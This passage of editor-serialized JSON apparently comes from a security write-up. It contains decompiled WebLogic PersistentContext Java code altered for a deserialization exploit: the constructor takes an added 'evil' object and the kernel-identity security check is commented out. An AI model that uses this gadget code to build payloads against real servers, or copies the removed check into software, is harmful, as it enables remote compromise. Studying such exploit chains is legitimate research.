EncryptionUtil.encrypt(var5);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K6El-1682254540058&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jLA5-1682254540057&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        //}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1cbX-1682254540060&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pTY5-1682254540059&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        //var5 = EncryptionUtil.encrypt(var5);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qtUS-1682254540062&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qzsJ-1682254540061&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gIxv-1682254540064&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AykC-1682254540063&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var5 = EncryptionUtil.getEncryptionService().encryptBytes((byte []) var5);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8Ev8-1682254540066&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zrPE-1682254540065&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q807-1682254540068&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CadD-1682254540067&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var1.writeInt(var5.length);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nJZC-1682254540070&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6DzU-1682254540069&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var1.write(var5);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zt3D-1682254540072&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;42Ys-1682254540071&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oMrs-1682254540074&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AQ9d-1682254540073&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AlKT-1682254540076&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Pdgm-1682254540075&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LojT-1682254540078&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4cjd-1682254540077&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.initTransients();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Z3xI-1682254540080&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;W7gm-1682254540079&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SXLH-1682254540082&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T4TI-1682254540081&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Lbg4-1682254540084&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CGA7-1682254540083&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.writeLock().lock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c3uC-1682254540086&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Fij3-1682254540085&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._propertyMap = (Map)var1.readObject();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qQ3j-1682254540088&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xbJC-1682254540087&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._propBagClassNames = (Set)var1.readObject();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wg6J-1682254540090&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yi70-1682254540089&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._contextPropertyMap = (Map)var1.readObject();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0DUm-1682254540092&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JwrC-1682254540091&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._invocationPropertyMap = (Map)var1.readObject();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZcMt-1682254540094&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4nTJ-1682254540093&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._state = (PersistentContext.State)var1.readObject();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5DN4-1682254540096&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N0ku-1682254540095&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.readSubject(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;isI2-1682254540098&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZFj0-1682254540097&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } finally {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MgP1-1682254540100&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;w1xY-1682254540099&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.writeLock().unlock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cWFx-1682254540102&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tKLu-1682254540101&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2cn7-1682254540104&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8sCw-1682254540103&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c3PP-1682254540106&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;O3wK-1682254540105&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;29Iz-1682254540108&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Qp9M-1682254540107&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cS3O-1682254540110&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SX3C-1682254540109&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    protected void initTransients() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m8m7-1682254540112&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cigm-1682254540111&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this._lock = new ReentrantReadWriteLock(false);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dNAA-1682254540114&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;At8q-1682254540113&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OTfp-1682254540116&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;a1Bo-1682254540115&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5PHA-1682254540118&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0kLl-1682254540117&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private void readSubject(ObjectInputStream var1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xFc9-1682254540120&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iapO-1682254540119&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ytgj-1682254540122&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EoiF-1682254540121&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            int var2 = var1.readInt();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lHbH-1682254540124&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2i8L-1682254540123&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            byte[] var3 = new byte[var2];&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eZ9z-1682254540126&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1zDU-1682254540125&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1.readFully(var3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1Xyw-1682254540128&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7hYQ-1682254540127&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (KernelStatus.isServer()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eOKk-1682254540131&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xkvO-1682254540129&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                var3 = EncryptionUtil.decrypt(var3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LTgS-1682254540133&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vtox-1682254540132&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gTfW-1682254540135&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bNsA-1682254540134&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EUkl-1682254540137&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Yhpo-1682254540136&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            ByteArrayInputStream var4 = new ByteArrayInputStream(var3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fVqX-1682254540139&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Jiag-1682254540138&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            ObjectInputStream var5 = new ObjectInputStream(var4);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;p2fi-1682254540141&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PdtK-1682254540140&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._subject = (AuthenticatedSubject)var5.readObject();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3Ur0-1682254540143&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vGhx-1682254540142&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (Exception var6) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HtTE-1682254540145&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Kfjl-1682254540144&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            WseeCoreLogger.logUnexpectedException(\&#34;Couldn&#39;t completely read PersistentContext subject\&#34;, var6);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wFpP-1682254540147&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WcgE-1682254540146&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yk1f-1682254540149&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4cNe-1682254540148&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JTfg-1682254540151&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;znQj-1682254540150&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Lx65-1682254540153&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HJeW-1682254540152&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Vtl3-1682254540155&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EiVG-1682254540154&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public PersistentContext(@NotNull String var1, @NotNull Map&lt;String, Serializable&gt; var2, @NotNull Set&lt;String&gt; var3, @Nullable Map&lt;String, Serializable&gt; var4, @NotNull Map&lt;String, Serializable&gt; var5,Object evil) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;plx5-1682254540157&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Bx93-1682254540156&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        super(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gifa-1682254540159&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vyca-1682254540158&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this._propertyMap = var2;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DGpi-1682254540161&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2GgG-1682254540160&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this._propBagClassNames = var3;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0i6H-1682254540163&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2107-1682254540162&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this._contextPropertyMap = var4;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KOME-1682254540165&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;udTG-1682254540164&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this._invocationPropertyMap = var5;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dYtb-1682254540167&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aPMF-1682254540166&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this._state = PersistentContext.State.UNUSED;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XwNO-1682254540169&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FTb5-1682254540168&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        AuthenticatedSubject var6 = getCurrentSubject();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7f3V-1682254540171&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6gtf-1682254540170&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.evil = evil;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CcGE-1682254540173&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;x7gd-1682254540172&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        //if (SecurityServiceManager.isKernelIdentity(var6)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Xz2B-1682254540175&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Kfs8-1682254540174&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        //    throw new IllegalStateException(\&#34;Attempt to create PersistentContext using kernel identity. All actions that can create PersistentContext must run as a user principal\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vi8H-1682254540177&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;A59w-1682254540176&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        //} else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8Pe3-1682254540179&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xFZt-1682254540178&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        //    this._subject = var6;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xZwr-1682254540181&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;o2Lt-1682254540180&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        //    this.initTransients();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NlK4-1682254540183&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;H1Q5-1682254540182&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        // }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JY6B-1682254540185&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2dSY-1682254540184&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this._subject = var6;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rUTj-1682254540187&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T5uj-1682254540186&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.initTransients();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dMoH-1682254540189&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3V2a-1682254540188&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;H9CM-1682254540191&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;expq-1682254540190&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3TSn-1682254540193&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DCPi-1682254540192&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    @NotNull&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hp9y-1682254540195&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QtNL-1682254540194&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public Map&lt;String, Serializable&gt; getPropertyMap() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZV8k-1682254540197&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NRGv-1682254540196&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Map 